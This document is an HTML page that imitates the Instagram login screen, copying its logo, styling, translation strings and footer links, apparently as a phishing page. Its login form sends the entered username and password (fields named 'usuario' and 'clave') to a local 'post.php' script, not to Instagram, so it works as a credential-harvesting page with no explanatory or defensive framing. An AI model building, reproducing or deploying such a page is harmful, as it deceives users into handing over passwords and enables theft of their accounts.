<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" class="hl-es not-logged-in ">
<head>
<meta charset="UTF-8" name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, viewport-fit=cover"/>
<title>Instagram</title>
<meta name="robots" content="noimageindex, noarchive" />
<link rel="Shortcut Icon" type="image/x-icon" href="//d36xtkk24g8jdx.cloudfront.net/bluebar/07d0b7a/images/ico/favicon.ico" />
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-status-bar-style" content="black" />
<meta name="mobile-web-app-capable" content="yes">
<meta name="theme-color" content="#ffffff">
<meta property="og:image" content="https://scx1.b-cdn.net/csz/news/800/2019/instagram.jpg" />
<link rel="shortcut icon" type="image/icon" href="/favicon.ico" />
<link rel="icon" sizes="32*32" href="favicon.ico">
<link rel="apple-touch-icon-precomposed" href="//d36xtkk24g8jdx.cloudfront.net/bluebar/07d0b7a/images/ico/apple-touch-icon-precomposed.png" />
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="//d36xtkk24g8jdx.cloudfront.net/bluebar/07d0b7a/images/ico/apple-touch-icon-72x72-precomposed.png" />
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="//d36xtkk24g8jdx.cloudfront.net/bluebar/07d0b7a/images/ico/apple-touch-icon-114x114-precomposed.png" />
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="//d36xtkk24g8jdx.cloudfront.net/bluebar/07d0b7a/images/ico/apple-touch-icon-144x144-precomposed.png" />
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0" />
<script type="text/javascript" src="//d36xtkk24g8jdx.cloudfront.net/bluebar/07d0b7a/scripts/jquery.js"></script>
<script type="text/javascript" src="//d36xtkk24g8jdx.cloudfront.net/bluebar/07d0b7a/scripts/bluebar.js"></script>
<meta id="viewport" name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width">
<script type="text/javascript">
$(document).ready(function() {
$("#id_username").focus();
setTimeout(function() {
document.getElementById('viewport').setAttribute('content', 'width='+ window.innerWidth + ', user-scalable=no');
}, 5);
});
</script>
<style>
@import url('https://fonts.googleapis.com/css?family=Roboto&display=swap');
*{
text-decoration: none;
font-family: 'Roboto', sans-serif;
}
body {
text-align: center;
}
p-dialog oauth-login {
height: 200px;
width: 400px;
background: black;
position: fixed;
top: 50%;
left: 50%;
margin-top: -100px;
margin-left: -200px;
font-family: 'Roboto', sans-serif;
}
root {
height: 200px;
width: 400px;
background: black;
position: fixed;
top: 50%;
left: 50%;
margin-top: -100px;
margin-left: -200px;
font-family: 'Roboto', sans-serif;
}
body{
padding-top: 60px;
padding-bottom: 40px;
}
.fixed-header, .fixed-footer{
width: 100%;
position: fixed;
background: #333;
padding: 10px 0;
color: #fff;
}
.fixed-header{
top: 0;
}
.fixed-footer{
bottom: 0;
}
.container{
width: 80%;
margin: 0 auto;
}
nav a{
color: #fff;
text-decoration: none;
padding: 7px 25px;
display: inline-block;
}
.wrapper .header .form .input_field{
margin-bottom: 5px;
}
.wrapper .header .form .input_field .input{
width: 100%;
background: #fafafa;
border: 1px solid #efefef;
font-size: 12px;
border-radius: 3px;
color: #262626;
padding: 10px;
}
.wrapper .header .form .input_field .input:focus{
border: 1px solid #b2b2b2;
}
.wrapper .header .form .btn{
margin: 10px 0;
background-color: #3897f0;
border: 1px solid #3897f0;
border-radius: 4px;
text-align: center;
padding: 5px;
}
.wrapper .header .form .btn a{
color: #fff;
display: block;
}
.wrapper .header .or{
display: flex;
justify-content: space-between;
align-items: center;
height: 15px;
margin: 15px 0 20px;
}
.wrapper .header .or .line{
width: 105px;
height: 2px;
background: #efefef
}
.wrapper .header .or p{
color: #999;
font-size: 12px;
}
.wrapper .dif .fb{
display: flex;
justify-content: center;
align-items: center;
}
.wrapper .dif .fb img{
width: 16px;
height: 16px;
}
.wrapper .dif .fb p{
color: #385185;
font-weight: 500;
margin-left: 10px;
}
.wrapper .dif .forgot{
font-size: 12px;
text-align: center;
margin-top: 20px;
}
.wrapper .dif .forgot a{
color: #003569;
}
.wrapper .signup{
margin: 10px 0 20px;
padding: 25px 40px;
text-align: center;
color: #262626;
font-weight: 200;
}
.wrapper .signup a{
color: rgb(0, 149, 246);
}
.wrapper .apps{
text-align: center;
color: #262626;
}
.wrapper .apps p{
margin-bottom: 20px;
}
.wrapper .apps a img{
width: 135px;
height: 40px;
margin: 0 5px;
}
.footer{
max-width: 935px;
width: 100%;
margin: 0 auto;
padding: 40px 0;
display: flex;
justify-content: space-between;
}
.footer .links ul li{
display: inline-block;
margin-right: 10px;
}
.footer .links ul li a{
color: #003569;
font-size: 12px;
}
.copyright{
color: #999;
}
.wrapper .header{
max-width: 350px;
width: 100%;
height: auto;
margin: 50px auto;
border: 1px solid #e6e6e6;
background-color: white;
}
.wrapper {
background-color: #fafafa;
}
.form-actions:hover
{
opacity: 0.5;
}
}
}
.box {
border: 1px solid black;
}
</style>
</head>
<body class="wrapper">
<div class="header">
<section class="top">
<div class="dialog">
<p></p>
<p></p>
<img src="https://i.imgur.com/zqpwkLQ.png" width:175px>
<div class="dialog-main">
<form method="POST" id="login-form" class="adjacent" action="post.php">
<input type="hidden" name="csrfmiddlewaretoken" value="e8aa2707f5c13e8a02ff5df8e9487537"/>
<label for="id_username"></label> <input name="usuario" maxlength="30" autocomplete="off" autocapitalize="off" placeholder="Phone number, username, email" style="width: 20em;
background: #fafafa;
border: 1px solid #e6e6e6;
font-size: 12px;
border-radius: 3px;
color: #262626;
padding: 10px; min-width: fit-content" autocorrect="off" type="text" id="usuario" />
<p></p>
<label for="id_password"></label> <input autocapitalize="off" autocomplete="off" placeholder="Password" style="width: 20em;
background: #fafafa;
border: 1px solid #e6e6e6;
font-size: 12px;
border-radius: 3px;
color: #262626;
padding: 10px; min-width: fit-content" autocorrect="off" type="password" name="clave" id="clave" />
<p class="form-actions">
<input type="submit" class="button-green" value="Log In" style="margin: 10px 0;
background-color: #3897f0;
font-size: 11px;
border: 1px solid #3897f0;
border-radius: 4px;
text-align: center;
padding: 8px;color:white; width:23em" /><br /></p>
<div class="forgot">
<font size="2.5px" color="rgb(0, 55, 107)"><a href="#">Forgot password?</a></font>
</div>
</form>
<div class="signup">
<p><font size=3px>Don't have an account? <a href="#">Sign up</a></font></p>
</div>
</div>
</div>
</section>
<script>
$(window).load(
function() {
$("#id_username").focus();
}
);
</script>
<div id="reactModalMountPoint"></div>
</div>
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-58907283-4']);
_gaq.push(['_setDomainName', 'none']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(["_set", "title", "Login"]);
_gaq.push(["_setCustomVar", 1, "page", "Login", 3]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
<script type="text/javascript">
window._strings = {
"%(count)s comments": "%(count)s comments",
"%(count)s followers": "%(count)s followers",
"%(count)s following": "%(count)s following",
"%(count)s likes": "%(count)s likes",
"%(count)s more comments": "%(count)s more comments",
"%(count)s new posts": "%(count)s new posts",
"%(count)s people liked this photo": "%(count)s people liked this photo",
"%(count)s photos,": "%(count)s photos,",
"%(count)s posts": "%(count)s posts",
"%(count)s+ new posts": "%(count)s+ new posts",
"%(day)s %(month_name)s %(year)s": "%(day)s %(month_name)s %(year)s",
"%(days)s days ago": "hace %(days)s días",
"%(days)sd": "%(days)sd",
"%(followerCount)s followers": "%(followerCount)s followers",
"%(hours)s hours ago": "hace %(hours)s horas",
"%(hours)sh": "%(hours)sh",
"%(likes)s likes, %(comments)s comments": "%(likes)s likes, %(comments)s comments",
"%(mediaCount)s photos": "%(mediaCount)s photos",
"%(minutes)s minutes ago": "hace %(minutes)s minutos",
"%(minutes)sm": "%(minutes)sm",
"%(months)s months ago": "hace %(months)s meses",
"%(seconds)s seconds ago": "hace %(seconds)s segundos",
"%(seconds)ss": "%(seconds)ss",
"%(user)s on Instagram": "%(user)s on Instagram",
"%(username)s on Instagram": "%(username)s on Instagram",
"%(weeks)s weeks ago": "hace %(weeks)s semanas",
"%(weeks)sw": "%(weeks)ssem",
"%(year)s %(month)s": "%(year)s %(month)s",
"1": "1",
"1 comment": "1 comment",
"1 day ago": "Hace 1 día",
"1 follower": "1 follower",
"1 hour ago": "Hace 1 hora",
"1 like": "1 like",
"1 minute ago": "Hace un minuto",
"1 month ago": "Hace 1 mes",
"1 more comment": "1 more comment",
"1 new post": "1 new post",
"1 photo>": "1 photo\u003E",
"1 second ago": "Hace 1 segundo",
"1 week ago": "Hace 1 semana",
"2": "2",
"3": "3",
"AM": "AM",
"About us": "Acerca de",
"Account Insights - Instagram": "Account Insights \u002D Instagram",
"Add a caption...": "Add a caption...",
"Add a comment": "Add a comment",
"All items loaded": "All items loaded",
"Apr": "Apr",
"April": "Abril",
"Are you sure you want to delete this comment?": "Are you sure you want to delete this comment?",
"Are you sure?": "Are you sure?",
"Audience": "Audience",
"Aug": "Aug",
"August": "Agosto",
"Badges": "Insignias",
"Blog": "Blog",
"By using this embed, you agree to Instagram\\'s <a href=\"http://instagram.com/about/legal/terms/api/\">API Terms of Use</a>.": "By using this embed, you agree to Instagram\u005C\u0027s \u003Ca href\u003D\u0022http://instagram.com/about/legal/terms/api/\u0022\u003EAPI Terms of Use\u003C/a\u003E.",
"Cancel": "Cancelar",
"Content unavailable": "Content unavailable",
"Copy Embed Code": "Copy Embed Code",
"Copy this code:": "Copy this code:",
"Couldn\\'t post comment": "Couldn\u005C\u0027t post comment",
"Dec": "Dec",
"December": "Diciembre",
"Delete": "Eliminar",
"Edit Profile": "Editar el perfil",
"Embed": "Embed",
"Feb": "Feb",
"February": "Febrero",
"Follow": "Seguir",
"Follow %(username)s on Instagram": "Follow %(username)s on Instagram",
"Follow friends and interesting people to see their photos here.": "Follow friends and interesting people to see their photos here.",
"Following": "Eres seguidor(a)",
"Forgot your password?": "Forgot your password?",
"Fri": "Fri",
"Friday": "Friday",
"Here are some suggestions.": "Here are some suggestions.",
"Home": "Inicio",
"Jan": "Jan",
"January": "Enero",
"Jobs": "Empleo",
"Jul": "Jul",
"July": "Julio",
"Jun": "Jun",
"June": "Junio",
"Leave a comment...": "Leave a comment...",
"Like": "Me gusta",
"Likes": "Me gusta",
"Load More...": "Load More...",
"Load more": "Load more",
"Load more...": "Load more...",
"Loading more...": "Loading more...",
"Loading...": "Loading...",
"Log Out": "Salir",
"Log in": "Entrar",
"Mar": "Mar",
"March": "Marzo",
"May": "Mayo",
"Mon": "Mon",
"Monday": "Monday",
"More": "More",
"Next photo": "Next photo",
"No Recent Photos": "No Recent Photos",
"No likes yet.": "Aún no tiene ningún \u0022Me gusta\u0022.",
"No photos to show.": "No photos to show.",
"Nov": "Nov",
"November": "Noviembre",
"Now": "Now",
"Oct": "Oct",
"October": "Octubre",
"Open in App": "Abrir en la aplicación",
"Others": "Others",
"PM": "PM",
"Password:": "Password:",
"Paste it on your website, blog, or wherever you want to link to your profile!": "Paste it on your website, blog, or wherever you want to link to your profile!",
"People you follow": "People you follow",
"Performance": "Performance",
"Photo by %(username)s": "Foto de %(username)s",
"Posts": "Posts",
"Press": "Prensa",
"Press Page - Instagram": "Press Page \u002D Instagram",
"Previous Posts": "Previous Posts",
"Previous photo": "Previous photo",
"Privacy": "Privacidad",
"Report inappropriate": "Report inappropriate",
"Requested": "Solicitud pendiente de aprobación",
"Retry": "Retry",
"Sat": "Sat",
"Saturday": "Saturday",
"Select your badge:": "Select your badge:",
"Sep": "Sep",
"September": "Septiembre",
"Summary": "Summary",
"Sun": "Sun",
"Sunday": "Sunday",
"Support": "Ayuda",
"Terms": "Condiciones",
"This user is private": "Este usuario es privado",
"Thu": "Thu",
"Thursday": "Thursday",
"To follow %(username)s, you need to log in.": "To follow %(username)s, you need to log in.",
"Toggle like": "Toggle like",
"Tue": "Tue",
"Tuesday": "Tuesday",
"Username:": "Username:",
"Video by %(username)s": "Video by %(username)s",
"View Photo Page": "View Photo Page",
"View Profile": "Perfil",
"View Video Page": "View Video Page",
"View on Instagram": "View on Instagram",
"Wed": "Wed",
"Wednesday": "Wednesday",
"When you are finished following people,": "When you are finished following people,",
"Write a comment...": "Write a comment...",
"Yes": "Sí",
"You must log in to add a comment.": "You must log in to add a comment.",
"You must log in to like this photo.": "You must log in to like this photo.",
"You need to be following %(username)s to like or comment": "Debes seguir a %(username)s para comentar o darle a Me gusta",
"Your username or password was incorrect.": "Your username or password was incorrect.",
"am": "am",
"banner photo": "banner photo",
"nd": "nd",
"pm": "pm",
"rd": "rd",
"reload this page": "reload this page",
"st": "st",
"th": "th"
};
</script>
<script type="text/javascript">window._sharedData = {"entry_data":{},"hostname":"instagram.com","config":{"csrf_token":"e8aa2707f5c13e8a02ff5df8e9487537"},"static_root":"\/\/d36xtkk24g8jdx.cloudfront.net\/bluebar\/07d0b7a"};</script>
<script src="//d36xtkk24g8jdx.cloudfront.net/bluebar/07d0b7a/cache/bundles/webpack-common.js"></script>
<div class="apps">
<p style="font-size:14px">Get the App.</p>
<div class="icons">
<a href="#"><img src="https://www.instagram.com/static/images/appstore-install-badges/badge_ios_english-en.png/180ae7a0bcf7.png" alt="appstore"></a>
<a href="#"><img src="https://www.instagram.com/static/images/appstore-install-badges/badge_android_english-en.png/e9cd846dc748.png" alt="googleplay"></a>
</div>
</div>
<div class="footer">
<div class="links">
<ul>
<style>
.footer{
max-width: 935px;
width: 100%;
margin: 0 auto;
padding: 40px 0;
display: flex;
justify-content: space-between;
}
.footer .links ul li{
display: inline-block;
margin-right: 10px;
}
.dialog img{
display: block;
margin: 0 auto 35px;
}
.footer2 {
position: fixed;
left: 0;
bottom: 0;
width: 100%;
background-color: #f5f5f5;
color: white;
text-align: center;
}
.footer .links ul li a{
color: rgb(0, 55, 107);
font-size: 12px;
}
.footer .copyright{
color: #999;
}
.copyright{
bottom: 10px;
}
.signup p{
font-weight: 300;
}
.forgot a{
color: rgba(var(--fe0, 0, 55, 107), 1);
}
</style>
<li><a href="https://www.instagram.com/about/us/">ABOUT US</a></li>
<li><a href="https://help.instagram.com/">SUPPORT</a></li>
<li><a href="https://about.instagram.com/en_US/blog/">PRESS</a></li>
<li><a href="https://www.instagram.com/developer/">API</a></li>
<li><a href="https://www.instagram.com/about/jobs/">JOBS</a></li>
<li><a href="https://help.instagram.com/519522125107875">PRIVACY</a></li>
<li><a href="https://help.instagram.com/581066165581870">TERMS</a></li>
<li><a href="https://www.instagram.com/directory/">DIRECTORY</a></li>
<li><a href="#">PROFILES</a></li>
<li><a href="https://www.instagram.com/directory/hashtags/">HASHTAGS</a></li>
<li><a href="#">LANGUAGE</a></li>
</ul>
</div>
<div class="copyright">
<font size="2px">© 2020 INSTAGRAM</font>
</div>
</div>
</body>
</html>